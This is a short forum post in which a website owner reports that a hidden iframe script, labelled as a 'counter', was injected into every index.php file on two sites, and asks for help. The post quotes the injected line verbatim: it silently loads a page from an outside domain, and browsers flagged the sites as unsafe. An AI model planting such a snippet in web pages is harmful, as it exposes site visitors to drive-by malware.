advancedwebanalytic.com code injected into all index.php files

This is the second time it happened on two separate websites.

Every index.php file got this line of code injected, waaaay down the page:

<!-- counter --><script language=javascript>status=location;document.write('<iframe src="http://advancedwebanalytic.com/stats/kqgrdndlhzymctytf.php" width="1" height="1" frameborder="0"></iframe>');</script><!-- counter -->

This triggered “unsafe to visit” messages in all browsers. Google searches and this forum searches turned up nothing of substance.

Can anyone shed some light on this issue?